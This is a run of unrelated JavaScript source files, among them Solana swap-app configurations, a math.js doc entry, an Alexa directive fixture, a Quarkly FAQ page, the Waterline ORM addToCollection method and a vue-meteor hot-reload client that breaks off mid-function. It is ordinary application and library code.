import ssjs from 'senswapjs'; const NATIVE = { address: ssjs.DEFAULT_EMPTY_ADDRESS, decimals: 9, name: 'Solana', symbol: 'SOL', ticket: 'solana', icon: 'https://assets.coingecko.com/coins/images/4128/large/coinmarketcap-solana-200.png' } /** * Contructor */ const configs = {} /** * Development configurations */ configs.development = { node: 'https://api.devnet.solana.com', spltAddress: 'TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA', splataAddress: 'ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL', swapAddress: 'D8UuF1jPr5gtxHvnVz3HpxP2UkgtxLs9vwz7ecaTkrGy', senAddress: '5YwUkPdXLoujGkZuo9B4LsLKj3hdkDcfP4derpspifSJ', foundationAddress: '8UaZw2jDhJzv5V53569JbCd3bD4BnyCfBH3sjwgajGS9', cluster: 'devnet', native: { ...NATIVE } } /** * Staging configurations */ configs.staging = { node: 'https://api.devnet.solana.com', spltAddress: 'TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA', splataAddress: 'ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL', swapAddress: 'D8UuF1jPr5gtxHvnVz3HpxP2UkgtxLs9vwz7ecaTkrGy', senAddress: '5YwUkPdXLoujGkZuo9B4LsLKj3hdkDcfP4derpspifSJ', foundationAddress: '8UaZw2jDhJzv5V53569JbCd3bD4BnyCfBH3sjwgajGS9', cluster: 'devnet', native: { ...NATIVE } } /** * Production configurations */ configs.production = { node: 'https://api.mainnet-beta.solana.com', spltAddress: 'TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA', splataAddress: 'ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL', swapAddress: 'SSW7ooZ1EbEognq5GosbygA3uWW1Hq1NsFq6TsftCFV', senAddress: 'SENBBKVCM7homnf5RX9zqpf1GFe935hnbU4uVzY1Y6M', foundationAddress: '9doo2HZQEmh2NgfT3Yx12M89aoBheycYqH1eaR5gKb3e', cluster: 'mainnet', native: { ...NATIVE } } /** * Module exports */ export default configs;
export var onesDocs = { name: 'ones', category: 'Matrix', syntax: ['ones(m)', 'ones(m, n)', 'ones(m, n, p, ...)', 'ones([m])', 'ones([m, n])', 'ones([m, n, p, ...])'], description: 'Create a matrix containing ones.', examples: ['ones(3)', 'ones(3, 5)', 'ones([2,3]) * 4.5', 'a = [1, 2, 3; 4, 5, 6]', 'ones(size(a))'], seealso: ['concat', 'det', 'diag', 'identity', 'inv', 'range', 'size', 'squeeze', 'subset', 'trace', 'transpose', 'zeros'] };
// Свойство elem.scrollTop содержит размер прокрученной области при отсчете // сверху. А как подсчитать размер прокрутки снизу? // Напишите соответствующее выражение для произвольного элемента elem. // Проверьте: если прокрутки нет вообще или элемент полностью прокручен – оно // должно давать ноль. let scrollBottom = elem.scrollHeight - elem.scrollTop - elem.clientHeight;
!function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("_getHttpCodeMsg",[],e):"object"==typeof exports?exports._getHttpCodeMsg=e():t._getHttpCodeMsg=e()}(self,(function(){return function(){"use strict";var t={d:function(e,o){for(var n in o)t.o(o,n)&&!t.o(e,n)&&Object.defineProperty(e,n,{enumerable:!0,get:o[n]})},o:function(t,e){return Object.prototype.hasOwnProperty.call(t,e)}},e={};function o(t,e={},o="系统异常,请稍后重试"){return Object.assign({400:"错误请求",401:"未授权,请重新登录",403:"拒绝访问",404:"请求错误,未找到该资源",405:"请求方法未允许",408:"系统请求超时,请稍后重试",500:"服务器端出错",501:"网络未实现",502:"网络错误",503:"服务不可用",504:"网络超时",505:"http版本不支持该请求"},e)[String(t)]||o}return t.d(e,{default:function(){return o}}),e.default}()}));
'use strict'; // Change the `endpointId` to match your Vera setup: // endpointId = '{controllerId}-{device|scene}-{deviceId}' module.exports = { 'directive': { 'header': { 'namespace': 'Alexa.BrightnessController', 'name': 'AdjustBrightness', 'payloadVersion': '3', 'messageId': '1bd5d003-31b9-476f-ad03-71d471922820', 'correlationToken': 'dFMb0z+PgpgdDmluhJ1LddFvSqZ/jCc8ptlAKulUj90jSqg==' }, 'endpoint': { 'scope': { 'type': 'BearerToken', 'token': 'access-token-from-skill' }, 'endpointId': '00000000-device-28', 'cookie': {} }, 'payload': { 'brightnessDelta': 20 } } };
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var tslib_1 = require("tslib"); var React = tslib_1.__importStar(require("react")); var styled_icon_1 = require("@styled-icons/styled-icon"); exports.EvStation = React.forwardRef(function (props, ref) { var attrs = { "fill": "currentColor", "xmlns": "http://www.w3.org/2000/svg", }; return (React.createElement(styled_icon_1.StyledIconBase, tslib_1.__assign({ iconAttrs: attrs, iconVerticalAlign: "middle", iconViewBox: "0 0 24 24" }, props, { ref: ref }), React.createElement("path", { fill: "none", d: "M0 0h24v24H0V0z", key: "k0" }), React.createElement("path", { d: "M19.77 7.23l.01-.01-3.19-3.19a.754.754 0 00-1.06 0c-.29.29-.29.77 0 1.06l1.58 1.58c-1.05.4-1.76 1.47-1.58 2.71.16 1.1 1.1 1.99 2.2 2.11.47.05.88-.03 1.27-.2v7.21c0 .55-.45 1-1 1s-1-.45-1-1V14c0-1.1-.9-2-2-2h-1V5c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v15c0 .55.45 1 1 1h8c.55 0 1-.45 1-1v-6.5h1.5v4.86c0 1.31.94 2.5 2.24 2.63a2.5 2.5 0 002.76-2.49V9c0-.69-.28-1.32-.73-1.77zM18 10c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1zM8 16.12V13.5H6.83a.5.5 0 01-.44-.74l2.67-5c.24-.45.94-.28.94.24v3h1.14a.5.5 0 01.43.75l-2.64 4.62c-.25.44-.93.26-.93-.25z", key: "k1" }))); }); exports.EvStation.displayName = 'EvStation'; exports.EvStationDimensions = { height: 24, width: 24 };
// Import the object from other scripts of BASE // Follow ./common.js for reference import { Home } from './home-script.js' export function HOME() { const scriptArray = { // Include all script objects // Follow the object 'Common' for reference common: function() { const home = new Home() home.render() }, } // Execute all this.render = function() { let script for(script in scriptArray) { scriptArray[script]() } } }
import styled from 'styled-components'; export const Filters = styled.div` display: flex; justify-content: space-between; margin: 12px 0 24px 0; `; export const Container = styled.div` background-color: #ffffff; color: #000000; padding: 12px; margin-top: 56px; font-size: 16px; input[type='text'] { border: 0.1rem solid #9e9e9e; border-radius: 4px; outline: none; padding: 0 12px; height: 48px; width: 100%; color: #212121; margin: 12px 0 24px 0; } h5 { letter-spacing: 0; font-size: 24px; font-weight: 400; } `; export const InputContainer = styled.div` padding: 6px 0; `; export const Collapsible = styled.div` display: flex; flex-direction: column; div { display: ${props => (props.isCollapsed ? 'none' : 'block')}; } `;
import wd from 'wd'; import { startServer } from '../../..'; const HOST = '127.0.0.1', PORT = 4994; const MOCHA_TIMEOUT = 60 * 1000 * (process.env.TRAVIS ? 10 : 4); let driver, server; async function initSession (caps) { if (driver || server) { await deleteSession(); } driver = wd.promiseChainRemote(HOST, PORT); server = await startServer(PORT, HOST); const serverRes = await driver.init(caps); if (!caps.udid && !caps.fullReset && serverRes[1].udid) { caps.udid = serverRes[1].udid; } // await driver.setImplicitWaitTimeout(5000); return driver; } async function deleteSession () { try { await driver.quit(); } catch (ign) {} try { await server.close(); } catch (ign) {} driver = null; server = null; } export { initSession, deleteSession, HOST, PORT, MOCHA_TIMEOUT };
import React from "react"; import theme from "theme"; import { Theme, Link, Section, Box } from "@quarkly/widgets"; import { Helmet } from "react-helmet"; import { GlobalQuarklyPageStyles } from "global-page-styles"; import { Override } from "@quarkly/components"; import * as Components from "components"; export default (() => { return <Theme theme={theme}> <GlobalQuarklyPageStyles pageUrl={"faq-for-dev/atomize"} /> <Helmet> <title> Quarkly export </title> <meta name={"description"} content={"Web site created using quarkly.io"} /> <link rel={"shortcut icon"} href={"https://uploads.quarkly.io/readme/cra/favicon-32x32.ico"} type={"image/x-icon"} /> </Helmet> <Components.MobileMenu> <Override slot="menu"> <Override slot="item-404" display="none" /> </Override> </Components.MobileMenu> <Components.Header /> <Box display="flex" quarkly-title="Content"> <Components.SidebarMenuDev /> <Section background="--color-white" padding="24px 0 64px 0"> <Override slot="SectionContent" max-width="760px" /> <Components.HelpSubheader> FAQ </Components.HelpSubheader> <Components.HelpHeader2 margin="12px 0px 28px 0px"> Atomize </Components.HelpHeader2> <Components.HelpGroup margin="0px 0px 18px 0px" padding="0px 18px 24px 18px" border-radius="8px" border-width="2px" border-style="solid" border-color="--color-lightD1" > <Components.HelpHeader4> Как использовать псевдоклассы, типа: hover, focus </Components.HelpHeader4> <Components.HelpParagraph> Имя псевдокласса использовать как префикс, например, hover-color. Также, в atomize передавать объект effects вида effects: &#123; hover: ":hover", focus: ":focus", &#125; </Components.HelpParagraph> </Components.HelpGroup> <Components.HelpGroup margin="0px 0px 18px 0px" padding="0px 18px 24px 18px" border-radius="8px" border-width="2px" border-style="solid" border-color="--color-lightD1" > <Components.HelpHeader4> Для чего оборачивать компонент в atomize ? </Components.HelpHeader4> <Components.HelpParagraph> Чтобы интегрировать сторонние компоненты в кваркли; Чтобы была возможность добавлять стили эффектов, брейкпоинтов и из тем </Components.HelpParagraph> </Components.HelpGroup> <Components.HelpGroup margin="0px 0px 18px 0px" padding="0px 18px 24px 18px" border-radius="8px" border-width="2px" border-style="solid" border-color="--color-lightD1" > <Components.HelpHeader4> В чем разница между экспортом Object.assign(Component) и atomize(Component) ? </Components.HelpHeader4> <Components.HelpParagraph> Разницы нет никакой </Components.HelpParagraph> </Components.HelpGroup> <Components.HelpGroup margin="0px 0px 18px 0px" padding="0px 18px 24px 18px" border-radius="8px" border-width="2px" border-style="solid" border-color="--color-lightD1" > <Components.HelpHeader4> Как получить темы проекта ? </Components.HelpHeader4> <Components.HelpParagraph> Импортируем их useTheme. import &#123; useTheme &#125; from 'styled-components'; </Components.HelpParagraph> </Components.HelpGroup> <Components.HelpPrevNextButton hierarchy="several" margin="auto 0px 0px 0px" /> </Section> </Box> <Components.FooterHigh /> <Link font={"--capture"} font-size={"10px"} position={"fixed"} bottom={"12px"} right={"12px"} z-index={"4"} border-radius={"4px"} padding={"5px 12px 4px"} background-color={"--dark"} opacity={"0.6"} hover-opacity={"1"} color={"--light"} cursor={"pointer"} transition={"--opacityOut"} quarkly-title={"Badge"} text-decoration-line={"initial"} href={"https://quarkly.io/"} target={"_blank"} > Made on Quarkly </Link> </Theme>; });
/** * Module dependencies */ var assert = require('assert'); var _ = require('@sailshq/lodash'); var flaverr = require('flaverr'); var parley = require('parley'); var buildOmen = require('../utils/query/build-omen'); var forgeStageTwoQuery = require('../utils/query/forge-stage-two-query'); var getQueryModifierMethods = require('../utils/query/get-query-modifier-methods'); var verifyModelMethodContext = require('../utils/query/verify-model-method-context'); /** * Module constants */ var DEFERRED_METHODS = getQueryModifierMethods('addToCollection'); /** * addToCollection() * * Add new child records to the specified collection in each of the target record(s). * * ``` * // For users 3 and 4, add pets 99 and 98 to the "pets" collection. * // > (if either user record already has one of those pets in its "pets", * // > then we just silently skip over it) * User.addToCollection([3,4], 'pets', [99,98]).exec(...); * ``` * * - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * * Usage without deferred object: * ================================================ * * @param {Array?|String?|Number?} targetRecordIds * * @param {String?} collectionAttrName * * @param {Array?} associatedIds * * @param {Function?} explicitCbMaybe * Callback function to run when query has either finished successfully or errored. * (If unspecified, will return a Deferred object instead of actually doing anything.) * * @param {Ref?} meta * For internal use. * * @returns {Ref?} Deferred object if no `explicitCbMaybe` callback was provided * * - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * * The underlying query keys: * ============================== * * @qkey {Array|String|Number} targetRecordIds * The primary key value(s) (i.e. ids) for the parent record(s). * Must be a number or string; e.g. '507f191e810c19729de860ea' or 49 * Or an array of numbers or strings; e.g. ['507f191e810c19729de860ea', '14832ace0c179de897'] or [49, 32, 37] * If an empty array (`[]`) is specified, then this is a no-op. * * @qkey {String} collectionAttrName * The name of the collection association (e.g. "pets") * * @qkey {Array} associatedIds * The primary key values (i.e. ids) for the child records to add. * Must be an array of numbers or strings; e.g. ['334724948aca33ea0f13', '913303583e0af031358bac931'] or [18, 19] * If an empty array (`[]`) is specified, then this is a no-op. * * @qkey {Dictionary?} meta * @qkey {String} using * @qkey {String} method * * - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ module.exports = function addToCollection(/* targetRecordIds, collectionAttrName, associatedIds?, explicitCbMaybe?, meta? */) { // Verify `this` refers to an actual Sails/Waterline model. verifyModelMethodContext(this); // Set up a few, common local vars for convenience / familiarity. var WLModel = this; var orm = this.waterline; var modelIdentity = this.identity; // Build an omen for potential use in the asynchronous callback below. var omen = buildOmen(addToCollection); // Build query w/ initial, universal keys. var query = { method: 'addToCollection', using: modelIdentity }; // ██╗ ██╗ █████╗ ██████╗ ██╗ █████╗ ██████╗ ██╗ ██████╗███████╗ // ██║ ██║██╔══██╗██╔══██╗██║██╔══██╗██╔══██╗██║██╔════╝██╔════╝ // ██║ ██║███████║██████╔╝██║███████║██║ ██║██║██║ ███████╗ // ╚██╗ ██╔╝██╔══██║██╔══██╗██║██╔══██║██║ ██║██║██║ ╚════██║ // ╚████╔╝ ██║ ██║██║ ██║██║██║ ██║██████╔╝██║╚██████╗███████║ // ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═════╝╚══════╝ // // Handle the various supported usage possibilities // (locate the `explicitCbMaybe` callback, and extend the `query` dictionary) // The `explicitCbMaybe` callback, if one was provided. var explicitCbMaybe; // Handle the various supported usage possibilities // (locate the `explicitCbMaybe` callback) // // > Note that we define `args` so that we can insulate access // > to the arguments provided to this function. var args = arguments; (function _handleVariadicUsage(){ // The metadata container, if one was provided. var _meta; // Handle first two arguments: // (both of which always have exactly one meaning) // // • addToCollection(targetRecordIds, collectionAttrName, ...) query.targetRecordIds = args[0]; query.collectionAttrName = args[1]; // Handle double meaning of third argument, & then handle the rest: // // • addToCollection(____, ____, associatedIds, explicitCbMaybe, _meta) var is3rdArgArray = !_.isUndefined(args[2]); if (is3rdArgArray) { query.associatedIds = args[2]; explicitCbMaybe = args[3]; _meta = args[4]; } // • addToCollection(____, ____, explicitCbMaybe, _meta) else { explicitCbMaybe = args[2]; _meta = args[3]; } // Fold in `_meta`, if relevant. if (!_.isUndefined(_meta)) { query.meta = _meta; } // >- })(); // ██████╗ ███████╗███████╗███████╗██████╗ // ██╔══██╗██╔════╝██╔════╝██╔════╝██╔══██╗ // ██║ ██║█████╗ █████╗ █████╗ ██████╔╝ // ██║ ██║██╔══╝ ██╔══╝ ██╔══╝ ██╔══██╗ // ██████╔╝███████╗██║ ███████╗██║ ██║ // ╚═════╝ ╚══════╝╚═╝ ╚══════╝╚═╝ ╚═╝ // // ██╗███╗ ███╗ █████╗ ██╗ ██╗██████╗ ███████╗██╗ // ██╔╝████╗ ████║██╔══██╗╚██╗ ██╔╝██╔══██╗██╔════╝╚██╗ // ██║ ██╔████╔██║███████║ ╚████╔╝ ██████╔╝█████╗ ██║ // ██║ ██║╚██╔╝██║██╔══██║ ╚██╔╝ ██╔══██╗██╔══╝ ██║ // ╚██╗██║ ╚═╝ ██║██║ ██║ ██║ ██████╔╝███████╗██╔╝ // ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ // // ┌┐ ┬ ┬┬┬ ┌┬┐ ┬ ┬─┐┌─┐┌┬┐┬ ┬┬─┐┌┐┌ ┌┐┌┌─┐┬ ┬ ┌┬┐┌─┐┌─┐┌─┐┬─┐┬─┐┌─┐┌┬┐ // ├┴┐│ │││ ││ ┌┼─ ├┬┘├┤ │ │ │├┬┘│││ │││├┤ │││ ││├┤ ├┤ ├┤ ├┬┘├┬┘├┤ ││ // └─┘└─┘┴┴─┘─┴┘ └┘ ┴└─└─┘ ┴ └─┘┴└─┘└┘ ┘└┘└─┘└┴┘ ─┴┘└─┘└ └─┘┴└─┴└─└─┘─┴┘ // ┌─ ┬┌─┐ ┬─┐┌─┐┬ ┌─┐┬ ┬┌─┐┌┐┌┌┬┐ ─┐ // │─── │├┤ ├┬┘├┤ │ ├┤ └┐┌┘├─┤│││ │ ───│ // └─ ┴└ ┴└─└─┘┴─┘└─┘ └┘ ┴ ┴┘└┘ ┴ ─┘ // If an explicit callback function was specified, then immediately run the logic below // and trigger the explicit callback when the time comes. Otherwise, build and return // a new Deferred now. (If/when the Deferred is executed, the logic below will run.) return parley( function (done){ // Otherwise, IWMIH, we know that it's time to actually do some stuff. // So... // // ███████╗██╗ ██╗███████╗ ██████╗██╗ ██╗████████╗███████╗ // ██╔════╝╚██╗██╔╝██╔════╝██╔════╝██║ ██║╚══██╔══╝██╔════╝ // █████╗ ╚███╔╝ █████╗ ██║ ██║ ██║ ██║ █████╗ // ██╔══╝ ██╔██╗ ██╔══╝ ██║ ██║ ██║ ██║ ██╔══╝ // ███████╗██╔╝ ██╗███████╗╚██████╗╚██████╔╝ ██║ ███████╗ // ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝ // ╔═╗╔═╗╦═╗╔═╗╔═╗ ┌─┐┌┬┐┌─┐┌─┐┌─┐ ┌┬┐┬ ┬┌─┐ ┌─┐ ┬ ┬┌─┐┬─┐┬ ┬ // ╠╣ ║ ║╠╦╝║ ╦║╣ └─┐ │ ├─┤│ ┬├┤ │ ││││ │ │─┼┐│ │├┤ ├┬┘└┬┘ // ╚ ╚═╝╩╚═╚═╝╚═╝ └─┘ ┴ ┴ ┴└─┘└─┘ ┴ └┴┘└─┘ └─┘└└─┘└─┘┴└─ ┴ // // Forge a stage 2 query (aka logical protostatement) try { forgeStageTwoQuery(query, orm); } catch (e) { switch (e.code) { case 'E_INVALID_TARGET_RECORD_IDS': return done( flaverr({ name: 'UsageError', code: e.code, details: e.details, message: 'The target record ids (i.e. first argument) passed to `.addToCollection()` '+ 'should be the ID (or IDs) of target records whose collection will be modified.\n'+ 'Details:\n'+ ' ' + e.details + '\n' }, omen) ); case 'E_INVALID_COLLECTION_ATTR_NAME': return done( flaverr({ name: 'UsageError', code: e.code, details: e.details, message: 'The collection attr name (i.e. second argument) to `.addToCollection()` should '+ 'be the name of a collection association from this model.\n'+ 'Details:\n'+ ' ' + e.details + '\n' }, omen) ); case 'E_INVALID_ASSOCIATED_IDS': return done( flaverr({ name: 'UsageError', code: e.code, details: e.details, message: 'The associated ids (i.e. using `.members()`, or the third argument) passed to `.addToCollection()` should be '+ 'the ID (or IDs) of associated records to add.\n'+ 'Details:\n'+ ' ' + e.details + '\n' }, omen) ); case 'E_NOOP': return done(); // ^ tolerate no-ops -- i.e. empty array of target record ids or empty array of associated ids (members) case 'E_INVALID_META': return done( flaverr({ name: 'UsageError', code: e.code, details: e.details, message: e.message }, omen) ); // ^ when the standard usage error message is good enough as-is, without any further customization default: return done(e); // ^ when an internal, miscellaneous, or unexpected error occurs } } // >-• // ┌┐┌┌─┐┬ ┬ ╔═╗╔═╗╔╦╗╦ ╦╔═╗╦ ╦ ╦ ╦ ┌┬┐┌─┐┬ ┬┌─ ┌┬┐┌─┐ ┌┬┐┬ ┬┌─┐ ┌┬┐┌┐ ┌─┐ // ││││ ││││ ╠═╣║ ║ ║ ║╠═╣║ ║ ╚╦╝ │ ├─┤│ ├┴┐ │ │ │ │ ├─┤├┤ ││├┴┐└─┐ // ┘└┘└─┘└┴┘ ╩ ╩╚═╝ ╩ ╚═╝╩ ╩╩═╝╩═╝╩ ┴ ┴ ┴┴─┘┴ ┴ ┴ └─┘ ┴ ┴ ┴└─┘ ─┴┘└─┘└─┘ (function (proceed){ // Get the model being used as the parent var WLModel = orm.collections[query.using]; assert.equal(query.using.toLowerCase(), query.using, '`query.using` (identity) should have already been normalized before getting here! But it was not: '+query.using); // Look up the association by name in the schema definition. var schemaDef = WLModel.schema[query.collectionAttrName]; // Look up the associated collection using the schema def which should have // join tables normalized var WLChild = orm.collections[schemaDef.collection]; assert.equal(schemaDef.collection.toLowerCase(), schemaDef.collection, '`schemaDef.collection` (identity) should have already been normalized before getting here! But it was not: '+schemaDef.collection); assert.equal(schemaDef.referenceIdentity.toLowerCase(), schemaDef.referenceIdentity, '`schemaDef.referenceIdentity` (identity) should have already been normalized before getting here! But it was not: '+schemaDef.referenceIdentity); assert.equal(Object.getPrototypeOf(WLChild).identity.toLowerCase(), Object.getPrototypeOf(WLChild).identity, '`Object.getPrototypeOf(WLChild).identity` (identity) should have already been normalized before getting here! But it was not: '+Object.getPrototypeOf(WLChild).identity); // Flag to determine if the WLChild is a manyToMany relation var manyToMany = false; // Check if the schema references something other than the WLChild if (schemaDef.referenceIdentity !== Object.getPrototypeOf(WLChild).identity) { manyToMany = true; WLChild = orm.collections[schemaDef.referenceIdentity]; } // Check if the child is a join table if (_.has(Object.getPrototypeOf(WLChild), 'junctionTable') && WLChild.junctionTable) { manyToMany = true; } // Check if the child is a through table if (_.has(Object.getPrototypeOf(WLChild), 'throughTable') && _.keys(WLChild.throughTable).length) { manyToMany = true; } // Ensure the query skips lifecycle callbacks // Build a modified shallow clone of the originally-provided `meta` var modifiedMeta = _.extend({}, query.meta || {}, { skipAllLifecycleCallbacks: true }); // ███╗ ███╗ █████╗ ███╗ ██╗██╗ ██╗ ████████╗ ██████╗ ███╗ ███╗ █████╗ ███╗ ██╗██╗ ██╗ // ████╗ ████║██╔══██╗████╗ ██║╚██╗ ██╔╝ ╚══██╔══╝██╔═══██╗ ████╗ ████║██╔══██╗████╗ ██║╚██╗ ██╔╝ // ██╔████╔██║███████║██╔██╗ ██║ ╚████╔╝ ██║ ██║ ██║ ██╔████╔██║███████║██╔██╗ ██║ ╚████╔╝ // ██║╚██╔╝██║██╔══██║██║╚██╗██║ ╚██╔╝ ██║ ██║ ██║ ██║╚██╔╝██║██╔══██║██║╚██╗██║ ╚██╔╝ // ██║ ╚═╝ ██║██║ ██║██║ ╚████║ ██║ ██║ ╚██████╔╝ ██║ ╚═╝ ██║██║ ██║██║ ╚████║ ██║ // ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ // // If the collection uses a join table, build a query that inserts the records // into the table. if (manyToMany) { // ╔╗ ╦ ╦╦╦ ╔╦╗ ┬─┐┌─┐┌─┐┌─┐┬─┐┌─┐┌┐┌┌─┐┌─┐ ┌┬┐┌─┐┌─┐┌─┐┬┌┐┌┌─┐ // ╠╩╗║ ║║║ ║║ ├┬┘├┤ ├┤ ├┤ ├┬┘├┤ ││││ ├┤ │││├─┤├─┘├─┘│││││ ┬ // ╚═╝╚═╝╩╩═╝═╩╝ ┴└─└─┘└ └─┘┴└─└─┘┘└┘└─┘└─┘ ┴ ┴┴ ┴┴ ┴ ┴┘└┘└─┘ // // Maps out the parent and child attribute names to use for the query. var parentReference; var childReference; // Find the parent reference if (_.has(Object.getPrototypeOf(WLChild), 'junctionTable') && WLChild.junctionTable) { // Assumes the generated junction table will only ever have two foreign key // values. Should be safe for now and any changes would need to be made in // Waterline-Schema where a map could be formed anyway. _.each(WLChild.schema, function(wlsAttrDef, key) { if (!_.has(wlsAttrDef, 'references')) { return; } // If this is the piece of the join table, set the parent reference. if (_.has(wlsAttrDef, 'columnName') && wlsAttrDef.columnName === schemaDef.on) { parentReference = key; } }); } //‡ // If it's a through table, grab the parent and child reference from the // through table mapping that was generated by Waterline-Schema. else if (_.has(Object.getPrototypeOf(WLChild), 'throughTable')) { childReference = WLChild.throughTable[WLModel.identity + '.' + query.collectionAttrName]; _.each(WLChild.throughTable, function(rhs, key) { if (key !== WLModel.identity + '.' + query.collectionAttrName) { parentReference = rhs; } }); } // Find the child reference in a junction table if (_.has(Object.getPrototypeOf(WLChild), 'junctionTable') && WLChild.junctionTable) { // Assumes the generated junction table will only ever have two foreign key // values. Should be safe for now and any changes would need to be made in // Waterline-Schema where a map could be formed anyway. _.each(WLChild.schema, function(wlsAttrDef, key) { if (!_.has(wlsAttrDef, 'references')) { return; } // If this is the other piece of the join table, set the child reference. if (_.has(wlsAttrDef, 'columnName') && wlsAttrDef.columnName !== schemaDef.on) { childReference = key; } }); } // ╔╗ ╦ ╦╦╦ ╔╦╗ ┌─┐ ┬ ┬┌─┐┬─┐┬ ┬ // ╠╩╗║ ║║║ ║║ │─┼┐│ │├┤ ├┬┘└┬┘ // ╚═╝╚═╝╩╩═╝═╩╝ └─┘└└─┘└─┘┴└─ ┴ // Build an array to hold all the records being inserted var joinRecords = []; // For each target record, build an insert query for the associated records. _.each(query.targetRecordIds, function(targetId) { _.each(query.associatedIds, function(associatedId) { var record = {}; record[parentReference] = targetId; record[childReference] = associatedId; joinRecords.push(record); }); }); // ╦═╗╦ ╦╔╗╔ ┌─┐ ┬ ┬┌─┐┬─┐┬ ┬ // ╠╦╝║ ║║║║ │─┼┐│ │├┤ ├┬┘└┬┘ // ╩╚═╚═╝╝╚╝ └─┘└└─┘└─┘┴└─ ┴ WLChild.createEach(joinRecords, proceed, modifiedMeta); return; }//-• // ██████╗ ███████╗██╗ ██████╗ ███╗ ██╗ ██████╗ ███████╗ ████████╗ ██████╗ // ██╔══██╗██╔════╝██║ ██╔═══██╗████╗ ██║██╔════╝ ██╔════╝ ╚══██╔══╝██╔═══██╗ // ██████╔╝█████╗ ██║ ██║ ██║██╔██╗ ██║██║ ███╗███████╗ ██║ ██║ ██║ // ██╔══██╗██╔══╝ ██║ ██║ ██║██║╚██╗██║██║ ██║╚════██║ ██║ ██║ ██║ // ██████╔╝███████╗███████╗╚██████╔╝██║ ╚████║╚██████╔╝███████║ ██║ ╚██████╔╝ // ╚═════╝ ╚══════╝╚══════╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═════╝ ╚══════╝ ╚═╝ ╚═════╝ // // Otherwise the child records need to be updated to reflect the new foreign // key value. Because in this case the targetRecordIds **should** only be a // single value, just an update here should do the trick. // ╔╗ ╦ ╦╦╦ ╔╦╗ ┌─┐ ┬ ┬┌─┐┬─┐┬ ┬ // ╠╩╗║ ║║║ ║║ │─┼┐│ │├┤ ├┬┘└┬┘ // ╚═╝╚═╝╩╩═╝═╩╝ └─┘└└─┘└─┘┴└─ ┴ // Build up a search criteria var criteria = { where: {} }; criteria.where[WLChild.primaryKey] = query.associatedIds; // Build up the values to update var valuesToUpdate = {}; valuesToUpdate[schemaDef.via] = _.first(query.targetRecordIds); // ╦═╗╦ ╦╔╗╔ ┌─┐ ┬ ┬┌─┐┬─┐┬ ┬ // ╠╦╝║ ║║║║ │─┼┐│ │├┤ ├┬┘└┬┘ // ╩╚═╚═╝╝╚╝ └─┘└└─┘└─┘┴└─ ┴ WLChild.update(criteria, valuesToUpdate, proceed, modifiedMeta); })(function (err) { if (err) { return done(err); } // IWMIH, everything worked! // > Note that we do not send back a result of any kind-- this it to reduce the likelihood // > writing userland code that relies undocumented/experimental output. return done(); });//</ self-calling function (actually talk to the dbs) > }, explicitCbMaybe, _.extend(DEFERRED_METHODS, { // Provide access to this model for use in query modifier methods. _WLModel: WLModel, // Set up initial query metadata. _wlQueryInfo: query, }) );//</parley> };
import './buffer' import Vue from 'vue' import { Reload } from 'meteor/reload' import { Meteor } from 'meteor/meteor' import { Autoupdate } from 'meteor/autoupdate' import VueHot1 from './vue-hot' import VueHot2 from './vue2-hot' const url = require('url') if (__meteor_runtime_config__.VUE_NO_HMR) return const tagStyle = 'padding: 2px 4px 1px; background: #326ABC; color: white; border-radius: 3px; font-weight: bold;' const infoStyle = 'font-style: italic; color: #326ABC;' let VueHotReloadApi const vueVersion = parseInt(Vue.version.charAt(0)) console.log('%cHMR%c You are using Vue %c' + Vue.version, tagStyle, 'color: #177D4F;', 'color: #177D4F; font-weight: bold;') console.log('%cYou are currently in development mode. If the Hot-Module-Replacement system is enabled (`on` by default), the CSS will be injected to the page after the scripts are loaded. This may result in Flash Of Unstyled Contents. Those will not occur in production.', infoStyle) console.log('%cMore information about the component compilation: https://github.com/meteor-vue/vue-meteor/tree/master/packages/vue-component', infoStyle) console.log('%cDocumentation and Issues: https://github.com/meteor-vue/vue-meteor', infoStyle) if (vueVersion === 1) { VueHotReloadApi = VueHot1 } else if (vueVersion === 2) { VueHotReloadApi = VueHot2 Vue.config.productionTip = false } Vue.use(VueHotReloadApi) // Hot reload API window.__vue_hot__ = VueHotReloadApi // Records initialized before vue hot reload api if (window.__vue_hot_pending__) { for (let hash in window.__vue_hot_pending__) { VueHotReloadApi.createRecord(hash, window.__vue_hot_pending__[hash]) } } // Reload override let _suppressNextReload = false let _suppressTimer let _deferReload = 0 const _reload = Reload._reload Reload._reload = function (options) { // Disable original reload for autoupdate package if (Reload._reload.caller.name !== '' && Reload._reload.caller.name !== 'checkNewVersionDocument') { _reload(options) } } // Custom reload method function reload (options) { if (_deferReload !== 0) { setTimeout(_reload, _deferReload) console.log(`%cHMR`, tagStyle, `Client reload defered, will reload in ${_deferReload} ms`) } else if (_suppressNextReload) { if (!_suppressTimer) { console.log(`%cHMR%c ⥁ Client version changed, reload suppressed because of a recent HMR update. You may need to reload the page.`, tagStyle, 'color: #F36E00;') } clearTimeout(_suppressTimer) // Debounce reload with 1 sec. timer _suppressTimer = setTimeout(() => { _suppressNextReload = false _suppressTimer = undefined }, 1000) } else { 